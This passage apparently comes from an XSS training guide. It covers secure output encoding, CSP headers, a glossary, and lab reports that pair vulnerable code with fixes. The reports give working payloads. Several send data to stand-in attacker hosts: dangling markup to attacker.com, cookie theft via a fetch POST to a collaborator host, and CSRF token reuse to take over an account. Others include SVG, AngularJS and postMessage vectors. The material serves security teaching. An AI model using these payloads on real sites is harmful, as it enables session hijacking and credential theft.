30 app.get('/template', (req, res) => {
31     res.render('page', { data: req.query.data });
32     // In page.ejs: <%= data %> is safe
33     // In page.ejs: <%- data %> is NOT safe
34 });

```

39.4 PHP – Complete Secure Patterns

```

1  <?php
2
3  // Rule 2: HTML context -- htmlspecialchars with ENT_QUOTES
4  function h($str) {
5      return htmlspecialchars($str, ENT_QUOTES | ENT_HTML5, 'UTF-8');
6  }
7
8  // Rule 3: JavaScript context -- json_encode with HEX flags
9  function js($str) {
10     return json_encode($str,
11         JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP | JSON_HEX_QUOT
12     );
13 }
14
15 // Rule 4: URL context -- validate scheme
16 function safe_url($url) {
17     $p = parse_url($url);
18     return in_array($p['scheme'] ?? '', ['http', 'https'], true);
19 }
20
21 // Usage:
22 $name = $_GET['name'] ?? '';
23 echo '<p>Hello, ' . h($name) . '</p>'; // HTML context
24
25 $query = $_GET['q'] ?? '';
26 echo '<script>var q = ' . js($query) . ';</script>'; // JS context
27
28 $url = $_POST['website'] ?? '';
29 if (safe_url($url)) {
30     echo '<a href="' . h($url) . '">Visit</a>'; // URL in
31     attribute

```

```
32 // Best practice: use a template engine (Twig, Blade)
33 // Twig: {{ variable }} auto-escapes
34 // Twig: {{ variable|raw }} does NOT escape -- never with user data
35 ?>
```

39.5 HTTP Security Headers Reference

```
# Content Security Policy -- most important header
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-RANDOM_PER_REQUEST';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;

# Prevent MIME sniffing
X-Content-Type-Options: nosniff

# Prevent clickjacking (use frame-ancestors in CSP instead -- more
  flexible)
X-Frame-Options: DENY

# Enable browser XSS filter (legacy -- CSP is better)
X-XSS-Protection: 1; mode=block

# HTTPS only
Strict-Transport-Security: max-age=31536000; includeSubDomains;
  preload

# Referrer policy
Referrer-Policy: strict-origin-when-cross-origin

# Permissions policy
Permissions-Policy: geolocation=(), camera=(), microphone=()
```

```
1 from flask import Flask, after_request
2
3 app = Flask(__name__)
4
5 @app.after_request
6 def set_security_headers(response):
7     nonce = generate_nonce() # cryptographically random per-
    request
```

```
8     response.headers['Content-Security-Policy'] = (  
9         f"default-src 'self'; "  
10        f"script-src 'self' 'nonce-{nonce}'; "  
11        f"object-src 'none'; "  
12        f"base-uri 'self';"  
13    )  
14    response.headers['X-Content-Type-Options'] = 'nosniff'  
15    response.headers['X-Frame-Options'] = 'DENY'  
16    response.headers['Referrer-Policy'] = 'strict-origin-when-cross  
-origin'  
17    return response
```


Chapter 40

Glossary of Key Terms

Canary Token	A unique string injected into a source to track whether it reaches a sink. Used by DOM Invader and manual DOM XSS testing.
Content Security Policy (CSP)	An HTTP response header that instructs the browser which sources of content are trusted. Mitigates XSS by blocking unauthorised script execution.
Cross-Site Scripting (XSS)	A client-side code injection vulnerability where an attacker injects malicious scripts into web pages executed by a victim's browser.
CSRF (Cross-Site Request Forgery)	An attack that tricks a user's browser into making an unintended authenticated request. XSS on the same origin completely bypasses CSRF protection.
CSTI (Client-Side Template Injection)	An attack where user input is evaluated as a template expression by a client-side framework (e.g., AngularJS), leading to JavaScript execution.
CVE (Common Vulnerabilities and Exposures)	A standard identifier for publicly known security vulnerabilities.
CVSS (Common Vulnerability Scoring System)	A framework for rating the severity of security vulnerabilities on a 0-10 scale.
DOM (Document Object Model)	A programming interface for HTML documents. Represents the page as a tree of objects that scripts can manipulate.
DOM Clobbering	An attack where HTML injection overwrites JavaScript variables using named DOM elements, potentially redirecting script loading or clobbering config.
DOM-Based XSS	XSS where the payload is processed entirely by client-side

	JavaScript. The server sends a clean response; the vulnerability is in client code.
Gadget	A code pattern that reads from a polluted or attacker-controlled source and passes it to a dangerous sink, enabling exploitation.
HTML Context	The parser state in which the HTML parser processes content as HTML markup. Injections here use <code><tag></code> syntax.
HttpOnly	A cookie flag that prevents JavaScript from reading the cookie via <code>document.cookie</code> . Mitigates session cookie theft from XSS.
JavaScript Context	A parser state in which the JavaScript engine processes content as code. Injections here use string termination and JavaScript syntax.
Nonce	A cryptographically random value included in both the CSP header and inline script tags. Allows specific scripts to execute while blocking others.
Prototype Pollution	An attack that injects properties into JavaScript's <code>Object.prototype</code> causing all objects to inherit the malicious property.
Reflected XSS	XSS where the payload is reflected from the server in the immediate HTTP response. Requires the victim to visit a crafted URL.
Same-Origin Policy (SOP)	A browser security mechanism that prevents scripts on one origin from accessing resources on a different origin. XSS bypasses SOP by running in the target origin.
Sanitisation	The process of removing or encoding dangerous characters from user input. Should happen at output time, not input time (output encoding).
Sink	A point in code where data is used in a dangerous way (e.g., <code>innerHTML eval() document.write()</code>).
Source	A point in code where attacker-controlled data enters the application (e.g., <code>location.search document.cookie postMessage</code>).
Stored XSS	XSS where the payload is stored server-side and served to multiple victims. Higher severity than reflected – no social engineering needed per victim.
URL Sink	A location where a value is interpreted as a URL (e.g., <code>href src location.href</code>). Vulnerable to <code>javascript:</code> URI injection.
WAF (Web Application Firewall)	A security device that filters HTTP traffic to detect and block attacks. Effective as a defence-in-depth measure but not a substitute for output encoding.

XSS Worm

A self-replicating XSS payload that spreads by posting itself to other users when they view infected content.

Chapter 41

Lab 10 – Supplement: Source Analysis and Report

41.1 Source-Level Analysis

[X] Vulnerable – reflection point not encoded

```
1 # VULNERABLE -- search term reflected into HTML without encoding
2 @app.route('/search')
3 def search():
4     query = request.args.get('search', '')
5     # Developer forgot to encode -- " can break attributes
6     return render_template_string(
7         f'<h1>0 results for \'{query}\''</h1>'
8     )
9 # Input: "><img src='https://attacker.com/steal?data='
10 # Rendered: <h1>0 results for '><img src='https://attacker.com/steal?data='
11 # Browser opens img src, consuming subsequent page HTML as the URL value
```

[X] Vulnerable – overly permissive CSP with img-src wildcard

```
# Misconfigured CSP -- img-src wildcard allows exfiltration
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  img-src *;           <- Allows images from any origin
  object-src 'none';
```

41.2 Bug Bounty Report

Title: Data Exfiltration via Dangling Markup Injection (CSP Bypass)

Severity: **HIGH** **CVSS:** 7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)

Endpoint: GET /search?search=[PAYLOAD]

Description

The search parameter reflects user input into the page without output encoding. A strict CSP blocks script execution, but `img-src *` permits image requests to any origin. By injecting an unclosed `<img src='...>` tag, the HTML parser includes subsequent page content (including CSRF tokens) in the image request URL, exfiltrating it to an attacker-controlled server without executing any JavaScript.

Payload: `"><img src='https://attacker.com/steal?data=`

Impact

CSRF token exfiltration enables forged authenticated requests even without JavaScript execution. Sensitive page content (account numbers, emails, tokens) leaked to attacker.

Root Cause

Two compounding issues: (1) Missing output encoding on the `search` parameter allowing HTML injection; (2) `img-src *` in the CSP creating an exfiltration channel.

Remediation

1. Encode `"` as `"`; at the reflection point – primary fix.
2. Change `img-src *` to `img-src 'self'` in CSP.
3. Bind CSRF tokens to the user session so a stolen token cannot be used cross-origin.

Chapter 42

Lab 11 – Supplement: Remediation and Report

42.1 Remediation

[OK] Never reflect user input into security headers

```
1 import secrets
2
3 @app.route('/')
4 def index():
5     # Generate a cryptographically secure per-request nonce
6     nonce = secrets.token_urlsafe(16)
7
8     # Build CSP entirely from trusted, hard-coded values
9     # NO user input anywhere in this string
10    csp = (
11        f"default-src 'self'; "
12        f"script-src 'nonce-{nonce}'; "
13        f"object-src 'none'; "
14        f"base-uri 'self';"
15    )
16    response = make_response(render_template('index.html', nonce=
nonce))
17    response.headers['Content-Security-Policy'] = csp
18    return response
```

[OK] Node.js – CSP middleware with no user input

```
1 const crypto = require('crypto');
2 const helmet = require('helmet');
3
4 app.use((req, res, next) => {
5     const nonce = crypto.randomBytes(16).toString('base64');
```

```
6     res.locals.nonce = nonce;
7
8     // helmet.contentSecurityPolicy with no user-controlled
    values
9     helmet.contentSecurityPolicy({
10       directives: {
11         defaultSrc: ["'self'"],
12         scriptSrc: ["'self'", 'nonce-${nonce}'],
13         objectSrc: ["'none'"],
14         baseUrl: ["'self'"]
15       }
16     })(req, res, next);
17   });
```

42.2 Bug Bounty Report

Title: CSP Bypass via Header Injection in Token Parameter

Severity: **HIGH** **CVSS:** 8.1 (AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N)

Endpoint: GET /?search=[XSS]&token=[CSP_INJECTION]

Description

The **token** query parameter is reflected directly into the **Content-Security-Policy** response header without sanitisation. An attacker can inject the **script-src-elem 'unsafe-inline'** directive, overriding the existing nonce-based **script-src** policy and allowing arbitrary inline script execution. Combined with a reflected XSS in the **search** parameter, this achieves full JavaScript execution despite CSP.

Steps to Reproduce

Visit:

```
/?search=<script>alert(document.domain)</script>
&token=;script-src-elem 'unsafe-inline'
```

The injected **script-src-elem 'unsafe-inline'** directive permits inline script execution, the reflected **<script>** tag fires.

Impact

Complete CSP bypass enabling full XSS exploitation: session hijacking, CSRF bypass, credential theft. The **token** parameter likely intended for CSRF or state management – reflecting it into security headers is a critical design flaw.

Remediation

Never reflect any user-supplied input into HTTP security response headers. Build

CSP from hard-coded trusted values and a server-generated cryptographic nonce only.

Chapter 43

Lab 12 – Supplement: Remediation and Report

43.1 Remediation

[OK] Safe – use createElement, never document.write

```
1 // SAFE approach: createElement + encodeURIComponent
2 var query = new URLSearchParams(window.location.search).get('
3   search');
4 if (query) {
5   var img = document.createElement('img');
6   // encodeURIComponent prevents URL parameter injection
7   img.src = '/resources/images/tracker.gif?searchTerms='
8             + encodeURIComponent(query);
9   img.alt = '';
10  document.body.appendChild(img);
11 }
12
13 // Why this is safe:
14 // 1. createElement never parses the src value as HTML
15 // 2. encodeURIComponent ensures the value is a safe URL
16 //    component
17 // 3. Even if query contains <svg onload=alert(1)>, it becomes:
18 //    %3Csvg%20onload%3Dalert(1)%3E -- a URL-encoded string, not
19 //    HTML
```

[OK] Avoid document.write entirely – use DOMParser if HTML needed

```
1 // If you genuinely need to insert HTML from a trusted source:
2 var parser = new DOMParser();
3 var doc = parser.parseFromString(trustedHTML, 'text/html');
4 // Inspect and sanitise doc before inserting specific elements
5 // Never use document.write() for dynamic content
```

43.2 Bug Bounty Report

Title: DOM-Based XSS via document.write Sink in Search Functionality

Severity: **HIGH** **CVSS:** 7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)

Endpoint: GET /search?search=[PAYLOAD]

Description

The `search` URL parameter flows directly from `window.location.search` into `document.write()` without sanitisation. The server response is clean – the vulnerability exists entirely in client-side JavaScript. An attacker can inject arbitrary HTML that executes in the victim's browser context.

Payload: `"><svg onload=alert(document.domain)>`

Why Standard Defences Miss This

Server-side WAFs and scanners see a clean HTTP response. The payload is processed entirely by client JavaScript – traditional server-side analysis is ineffective. Testing requires browser DevTools or tools such as Burp DOM Invader.

Remediation

Replace `document.write()` with `document.createElement()` and `encodeURIComponent()` for URL values. Avoid `document.write()` entirely in modern applications.

Chapter 44

Labs 13-18 – Supplement: Source Analysis and Reports

44.1 Lab 13 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – innerHTML with URL parameter

```
1 // VULNERABLE -- location.search directly to innerHTML
2 var query = new URLSearchParams(window.location.search).get('
  search');
3 // innerHTML renders HTML -- event handlers execute
4 document.getElementById('searchResultsSpan').innerHTML
5   = 'You searched for: ' + query;
```

Title: DOM-Based XSS via innerHTML Sink in Search Results

Severity: **HIGH** **CVSS:** 7.4

Payload: `<img src=1 onerror=alert(document.domain)>`

Root Cause: `location.search` flows to `innerHTML` without sanitisation. `innerHTML` renders HTML including event handlers; `textContent` would be safe.

Remediation: Replace `innerHTML` with `textContent` for plain text output. For rich content, sanitise with DOMPurify before assigning to `innerHTML`.

44.2 Lab 14 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – jQuery attr with URL source

```
1 // VULNERABLE -- returnUrl flows to jQuery href attr without
  scheme check
2 $(function() {
3     var returnUrl = new URLSearchParams(window.location.search).
      get('returnUrl');
4     // No scheme validation -- javascript: URI accepted
5     $('#backLink').attr('href', returnUrl);
6 });
```

Title: DOM-Based XSS via jQuery href Attribute Sink

Severity: **HIGH** **CVSS:** 7.4

Payload: `/?returnUrl=javascript:alert(document.domain)`

Root Cause: `returnUrl` parameter flows to jQuery `.attr('href')` without URL scheme validation. The `javascript:` URI scheme executes on click.

Remediation: Validate URL scheme with `/^https?:\\\/\\` before setting `href`. Fall back to `'/'` for invalid values.

44.3 Lab 15 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – jQuery selector with location.hash

```
1 // VULNERABLE -- location.hash passed to jQuery $() selector
2 $(window).on('hashchange', function() {
3     var hash = decodeURIComponent(location.hash.slice(1));
4     // jQuery treats strings starting with < as HTML
5     $(hash).scrollIntoView(); // HTML injection sink
6 });
```

Title: DOM-Based XSS via jQuery Selector Sink on hashchange Event

Severity: **HIGH** **CVSS:** 7.4

Payload: `#<img src=1 onerror=alert(document.domain)>`

Delivery: iframe with `onload` programmatically sets hash.

Root Cause: `location.hash` flows to `$(...)` – jQuery's selector parses strings beginning with `<` as HTML, making it an injection sink.

Remediation: Allowlist `[a-zA-Z0-9_-]` for hash values before using as selectors. Use `document.getElementById()` instead of `$(hash)`.

44.4 Lab 16 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – user input inside AngularJS ng-app scope

```
<!-- VULNERABLE -- search reflected inside ng-app scope -->
<body ng-app>
  <h1>Results for '{{searchTerm}}'</h1>
  <!-- searchTerm set from URL param by AngularJS $location -->
</body>
<!-- AngularJS evaluates {...} expressions -- code execution
      possible -->
```

Title: Client-Side Template Injection (CSTI) via AngularJS Expression Evaluation

Severity: **HIGH** **CVSS:** 7.4

Payload: `{{constructor.constructor('alert(document.domain)')()}}`

Root Cause: User input reflected inside an AngularJS `ng-app` scope. AngularJS evaluates `{{ }}` expressions – including attacker-injected ones. Standard HTML XSS filters miss this – no angle brackets or event handlers involved.

Remediation: Do not reflect user data inside AngularJS template scope. Migrate to Angular 2+ which eliminates runtime template evaluation by design.

44.5 Lab 17 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – `eval()` to parse JSON response

```
1 // VULNERABLE -- eval() used instead of JSON.parse()
2 var xhr = new XMLHttpRequest();
3 xhr.onreadystatechange = function() {
4   if (this.readyState == 4 && this.status == 200) {
5     // eval() executes arbitrary code -- never use for JSON
      parsing
6     eval('var searchResultsObj = ' + this.responseText);
```

```

7     displaySearchResults(searchResultsObj);
8   }
9 };
10 xhr.open('GET', '/search-results?search=' + query);
11 xhr.send();

```

Title: Reflected DOM XSS via eval() Sink in Search Results Handler

Severity: **HIGH** **CVSS:** 7.4

Payload: `\"-alert(document.domain)}//`

Root Cause: The server reflects the search term in a JSON response which client-side JavaScript passes to `eval()` instead of `JSON.parse()`. `eval()` is a code execution sink – any injected expression executes.

Remediation: Replace `eval(this.responseText)` with `JSON.parse(this.responseText)`. `JSON.parse()` is a data parser and will never execute injected expressions.

44.6 Lab 18 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – innerHTML rendering of stored JSON data

```

1  // VULNERABLE -- stored comment rendered via innerHTML
2  fetch('/comments?postId=5')
3    .then(r => r.json())
4    .then(comments => {
5      comments.forEach(c => {
6        // innerHTML parses HTML -- stored payloads execute
7        document.getElementById('comments').innerHTML
8          += '<div><p>' + c.comment + '</p></div>';
9      });
10  });
11 // The server returns clean JSON -- vulnerability is in client
    rendering

```

Title: Stored DOM XSS via innerHTML Sink

Severity: **HIGH** **CVSS:** 8.2 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N)

Payload stored in comment: `<img src=1 onerror=alert(document.domain)>`

Root Cause: Comment data is fetched as JSON and rendered with `innerHTML`. The server response is clean – the vulnerability is in how the client JavaScript

renders the stored data. Affects every visitor who loads the page.

Remediation: Replace `innerHTML` concatenation with `createElement() + textContent`. All user-supplied values must be set via `textContent`, never via `innerHTML`.

Chapter 45

Labs 19-21 – Supplement: Source Analysis and Reports

45.1 Lab 19 – Source-Level Analysis

[X] Vulnerable – stored XSS with no `HttpOnly` on session cookie

```
1 # VULNERABLE -- two issues compound:
2 # 1. Stored XSS allows script injection (see Lab 03 root cause)
3 # 2. Session cookie lacks HttpOnly -- JavaScript can read it
4
5 @app.route('/login', methods=['POST'])
6 def login():
7     # ... authentication logic ...
8     response = make_response(redirect('/'))
9     response.set_cookie('session', session_token)
10    # Missing: httponly=True, secure=True, samesite='Lax'
11    return response
```

Title: Stored XSS – Cookie Theft and Account Takeover

Severity: **CRITICAL** **CVSS:** 9.3 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)

Chain: Stored XSS in comments + missing `HttpOnly` on session cookie

Description

The blog comment functionality stores and renders user input without output encoding, enabling stored XSS. Session cookies lack the `HttpOnly` flag, making them accessible to JavaScript. An attacker submits a payload that exfiltrates session cookies to an out-of-band server. Any visitor's session can be hijacked, including administrators, leading to complete account takeover.

Payload:

```
<script>
fetch('https://ATTACKER-COLLABORATOR.burpcollaborator.net', {
  method: 'POST', mode: 'no-cors', body: document.cookie
});
</script>
```

Remediation

1. Fix stored XSS with output encoding at render time.
2. Set `HttpOnly`, `Secure`, and `SameSite=Lax` on all session cookies.
3. Implement CSP `script-src 'self'` to block inline script execution.

45.2 Lab 20 – Source-Level Analysis

[X] Vulnerable – XSS enables fake form injection

```
1 // VULNERABLE -- stored XSS payload injects a fake form
2 // The stored script creates input fields that trigger browser
  autocomplete
3 // When the victim's browser auto-fills saved credentials:
4 // -- The onchange handler fires immediately
5 // -- Credentials are exfiltrated before the user notices
6 // No HTML output encoding on stored comment = enables this
  attack
7
8 // Browser autocomplete heuristic:
9 // name="username" + type="password" adjacent fields
10 // -> Browser auto-fills stored credentials for this domain
```

Title: Stored XSS – Credential Harvesting

Severity: **CRITICAL** **CVSS:** 9.0 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)

Description

A stored XSS vulnerability in the comment functionality allows injection of hidden form fields. Modern browsers auto-fill saved credentials when they detect adjacent username and password fields on a known domain. The injected `onchange` handler fires when the browser auto-fills the password, silently exfiltrating the victim's plaintext credentials to an attacker-controlled server.

Why This Exceeds Normal XSS Impact

- Captures plaintext credentials, not just session tokens
- Credentials are reused – attacker gains access to email, banking, VPN

- `HttpOnly` cookies provide zero protection against this technique
- Works even if the user is already authenticated (MFA bypassed for stored sessions)

Remediation

1. Fix stored XSS – primary and sufficient defence.
2. CSP `script-src 'self'`: blocks injected event handlers.
3. `autocomplete="off"` on sensitive forms (partial mitigation only).

45.3 Lab 21 – Source-Level Analysis

[X] Vulnerable – XSS reads and uses CSRF token

```
1 // VULNERABLE -- XSS runs in same origin, can read CSRF tokens
2
3 // Victim's browser executes this stored XSS payload:
4 fetch('/my-account', {credentials: 'include'})
5   .then(r => r.text())
6   .then(html => {
7     // SOP allows same-origin reads -- CSRF token extracted
8     var csrf = html.match(/name="csrf" value="([~"]+)/)[1];
9     // Token used to make authenticated state change
10    return fetch('/my-account/change-email', {
11      method: 'POST',
12      credentials: 'include',
13      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
14      body: 'email=attacker%40evil.com&csrf=' +
15        encodeURIComponent(csrf)
16    });
17  });
18 // CSRF tokens protect against cross-origin requests (evil.com
19 // cannot
20 // read the token from target.com due to SOP). But XSS IS same-
21 // origin
22 // -- it can read any page content, including CSRF tokens.
```

Title: Stored XSS Bypassing CSRF Protection to Change Victim Email

Severity: **HIGH** **CVSS:** 8.0 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)

Description

Stored XSS in the comment section enables extraction and reuse of CSRF tokens. CSRF tokens protect against cross-origin forgery but are ineffective against XSS because XSS executes in the same origin and can read any page content. The

payload fetches `/my-account` to extract the CSRF token, then uses it to change the victim's email address to one the attacker controls, enabling full account takeover via password reset.

Attack Chain

Stored XSS → CSRF token extraction → Email change request → Password reset → Full account takeover

Remediation

CSRF tokens are not a defence against XSS. The only fix is to fix the XSS: apply output encoding at render time. Secondary: CSP to block inline scripts. Tertiary: require re-authentication (password confirmation) before email changes.

Chapter 46

Labs 22-30 – Supplement: Source Analysis and Reports

46.1 Lab 22 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – tag allowlist without attribute filtering

```
1 # VULNERABLE -- allows SVG and animate tags but does not strip
   event handlers
2 import bleach
3
4 ALLOWED_TAGS = ['p', 'b', 'i', 'a', 'svg', 'animatetransform']
5 # Missing: ALLOWED_ATTRIBUTES does not include onbegin/onend/etc.
6 # Default bleach behaviour: strips unknown attributes
7 # BUT: onbegin is a valid SVG attribute -- bleach may allow it
8
9 clean = bleach.clean(user_input,
10                      tags=ALLOWED_TAGS,
11                      attributes={'*': ['class', 'id']}), # onbegin not listed but
   may slip through
12                      strip=True
13 )
```

Title: Reflected XSS via SVG animatetransform onbegin Event Handler

Severity: **HIGH** **CVSS:** 7.4

Payload: `<svg><animatetransform onbegin=alert(document.domain)>`

Root Cause: Tag allowlist permits `<svg>` and `<animatetransform>` but the corresponding attribute filtering does not strip the `onbegin` SVG animation event handler. The filter defends against common vectors (`onerror`, `onload`) but misses

SVG-specific events.

Remediation: Use an explicit attribute allowlist, not a blocklist. For SVG elements, only allow safe presentation attributes ([width](#), [height](#), [fill](#), [d](#)). Use DOMPurify with default settings, which blocks all event handlers including SVG-specific ones.

46.2 Lab 23 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – URL reflected into canonical link tag

```
1 # VULNERABLE -- request URL reflected into canonical <link>
   without encoding
2 @app.route('/', defaults={'path': ''})
3 @app.route('/<path:path>')
4 def page(path):
5     # Developer intended to create canonical URL for SEO
6     # but reflected the raw URL without encoding
7     canonical_url = request.url # contains full URL including
   query string
8     return render_template_string(
9         f'<link rel="canonical" href="{canonical_url}"/>...',
10    )
11     # Input: /'accesskey='x'onclick='alert(document.domain)'
12     # Rendered: <link rel="canonical" href="/"
13     #             accesskey="x" onclick="alert(document.domain)"
   "/>
```

Title: Reflected XSS via Attribute Injection in Canonical Link Tag

Severity: **HIGH** **CVSS:** 7.4

Payload (in URL): `'accesskey='x'onclick='alert(document.domain)'`

Trigger: ALT+SHIFT+X (Windows) / CTRL+ALT+X (Mac)

Root Cause: The current page URL is reflected into the [href](#) attribute of a canonical `<link>` tag without HTML encoding. An attacker can inject additional attributes including event handlers. The [accesskey](#) attribute provides interaction without requiring a visible element.

Remediation: Apply [htmlspecialchars\(\)](#) / [escape\(\)](#) to any URL value reflected into HTML attributes. For canonical tags, validate that the URL matches expected patterns (own domain, path format) before reflection.

46.3 Lab 24 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – tag allowlist missing SVG event attributes

```

1 # VULNERABLE -- allowlist permits <svg> and <animatettransform>
2 # but does not strip onbegin/onend/onrepeat attributes
3 ALLOWED_TAGS = ['svg', 'animatettransform', 'animate', 'set']
4 # Attribute filtering: only blocks known dangerous attributes
5 # onbegin is an obscure SVG timing event -- missed by the filter
6 sanitised = custom_sanitiser(input, allowed_tags=ALLOWED_TAGS)

```

Title: Reflected XSS via SVG animatettransform

Severity: **HIGH** **CVSS:** 7.4

Payload: `<svg><animatettransform onbegin=alert(document.domain)></svg>`

Root Cause: The sanitiser uses a tag-based allowlist but its attribute filtering does not account for SVG-specific timing events (`onbegin`, `onend`, `onrepeat`). These fire immediately when the animation starts, requiring no user interaction.

Remediation: Migrate to DOMPurify which maintains a comprehensive blocklist of dangerous attributes across all element types including SVG. Custom sanitisers cannot realistically cover the full HTML/SVG event handler namespace.

46.4 Lab 25 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – postMessage handler missing origin check

```

1 // VULNERABLE -- no origin validation before using message data
2 window.addEventListener('message', function(e) {
3     // e.origin not checked -- any window can send messages
4     document.getElementById('ads').innerHTML = e.data;
5     // innerHTML sink -- HTML in message data executes
6 }, false);
7
8 // Attacker's page:
9 // <iframe src="https://target.com/" onload="
10 //     this.contentWindow.postMessage('<img src=1 onerror=print()
11 //     >','*')
12 // ">
13 // The iframe sends a message to target.com's message handler

```

```
13 // Target renders it via innerHTML -- XSS fires in target.com
    origin
```

Title: DOM-Based XSS via postMessage Without Origin Validation

Severity: **HIGH** **CVSS:** 7.4

Delivery: Attacker hosts iframe that sends postMessage to target

Root Cause: The `message` event listener does not validate `e.origin` before processing `e.data`. Any window (including attacker-controlled iframes) can send messages. The data flows to `innerHTML` without sanitisation.

Remediation:

```
window.addEventListener('message', function(e) {
    if (e.origin !== 'https://trusted-partner.com') return;
    document.getElementById('ads').textContent = e.data; //
    textContent not innerHTML
}, false);
```

46.5 Lab 26 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – weak URL check on postMessage data

```
1 // VULNERABLE -- substring check is trivially bypassed
2 window.addEventListener('message', function(e) {
3     // indexOf check looks for 'http' substring -- not a scheme
4     // check
5     if (e.data.indexOf('http') > -1) {
6         location.href = e.data; // URL sink
7     }
8 }, false);
9 // Bypass: payload 'javascript:print()//http://' contains 'http'
10 // But starts with 'javascript:' -- executes when assigned to
11 location.href
```

Title: DOM-Based XSS via postMessage and location.href URL Sink

Severity: **HIGH** **CVSS:** 7.4

Payload sent via postMessage: `javascript:print()//http://`

Root Cause: Message handler checks for the substring `http` but does not validate the URL scheme. The payload contains `http` later in the string, passing the filter,

but begins with `javascript:`, executing code when assigned to `location.href`.

Remediation:

```
1 window.addEventListener('message', function(e) {
2     try {
3         var url = new URL(e.data);
4         if (url.protocol === 'https:' || url.protocol === 'http:')
5         ) {
6             location.href = e.data; // scheme validated
7         }
8     } catch(err) { /* invalid URL -- ignore */ }
9 }, false);
```

46.6 Lab 27 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – postMessage to localStorage to innerHTML chain

```
1 // Step 1 -- Write: postMessage data stored without validation
2 window.addEventListener('message', function(e) {
3     localStorage.setItem('newsAd', e.data); // no origin check,
4     // no sanitisation
5 });
6
7 // Step 2 -- Read: localStorage value rendered via innerHTML on
8 // page load
9 window.onload = function() {
10     var ad = localStorage.getItem('newsAd');
11     if (ad) {
12         // innerHTML renders stored payload as HTML -- XSS fires
13         document.getElementById('adContainer').innerHTML = ad;
14     }
15 };
16 // The write and read happen at different times -- easy to miss
17 // the chain
```

Title: Stored DOM XSS via postMessage/localStorage/innerHTML Chain

Severity: **HIGH** **CVSS:** 8.2 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)

Root Cause: Three-step chain: (1) postMessage without origin check writes attacker data to localStorage; (2) page load reads localStorage; (3) value rendered via innerHTML. Each step individually may appear safe – the vulnerability emerges from the chain.

Remediation: Validate `e.origin` before writing to storage. Sanitise with DOM-

Purify before any localStorage value reaches `innerHTML`. Prefer `textContent` over `innerHTML` for ad/widget content.

46.7 Lab 28 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – strict CSP but missing X-Frame-Options

```
# VULNERABLE -- CSP blocks scripts but page can be framed
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-RANDOM';
  form-action 'self';
# Missing: frame-ancestors 'none' OR X-Frame-Options: DENY
# Attacker can frame the page and overlay a fake "Click me" button
# over the target's real submit button -- user click triggers form
  submit
# with attacker-crafted input
```

Title: Reflected XSS via Clickjacking to Bypass Strict CSP

Severity: **HIGH** **CVSS:** 7.4

Root Cause: While CSP blocks inline script execution, the missing `frame-ancestors` directive allows the page to be embedded in an attacker-controlled iframe. Clickjacking delivers user interaction to trigger the XSS payload in a context the attacker engineers.

Remediation:

```
# Add to CSP:
Content-Security-Policy: ...; frame-ancestors 'none';
# Or as separate header:
X-Frame-Options: DENY
# Both prevent the page from being embedded in iframes
```

46.8 Lab 29 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – nonce reflected in page and reusable

```
1 # VULNERABLE -- nonce is reflected in the page source
2 # AND used in the CSP header -- attacker can read and reuse it
3
4 @app.route('/')
5 def index():
6     nonce = secrets.token_urlsafe(16) # looks secure...
7     csp = f"script-src 'nonce-{nonce}'"
8     response = make_response(render_template('index.html', nonce=
9 nonce))
10    response.headers['Content-Security-Policy'] = csp
11    return response
12
13 # In index.html:
14 # <script nonce="{ nonce }">legitimate code</script>
15 # The nonce appears in the HTML source -- if we can inject HTML
16 # BEFORE
17 # the legitimate script tag, we can read the nonce from the DOM
18 # and use it.
19 # Or: if the page is cached and the nonce is not per-request,
20 # reuse is possible.
```

Title: Reflected XSS – CSP Nonce Reuse Bypass

Severity: **HIGH** **CVSS:** 7.4

Payload: `<script nonce="LEAKED_NONCE">alert(document.domain)</script>`

Root Cause: The CSP nonce appears in the HTML response (for legitimate scripts). If reflected XSS allows injection before the nonce is consumed, or if the nonce is predictable/cached/reused across requests, an attacker can read it and include it in an injected script tag, bypassing the nonce-based CSP.

Remediation: Ensure nonces are cryptographically random and unique per request. If HTML injection is possible before the nonce appears in source, the nonce is compromised – fix the HTML injection first.

46.9 Lab 30 – Source-Level Analysis and Bug Bounty Report

[X] Vulnerable – PDF viewer reflects file URL without encoding

```
1 # VULNERABLE -- PDF viewer reflects the file parameter without
   encoding
2 @app.route('/pdf-viewer')
3 def pdf_viewer():
4     file_url = request.args.get('file', '')
5     # Developer did not encode the URL -- assumed internal use
   only
6     return render_template_string(f'''
7         <div id="pdfUrl">Loading: {file_url}</div>
8         <iframe src="{file_url}"></iframe>
9     ''')
10    # Input: https://x"><script>alert(document.domain)</script>
11    # Rendered: <div id="pdfUrl">Loading: https://x">
12    #             <script>alert(document.domain)</script></div>
```

Title: Reflected XSS in PDF Viewer Component

Severity: **HIGH** **CVSS:** 7.4

Payload: `/pdf-viewer?file=https://x"><script>alert(document.domain)</script>`

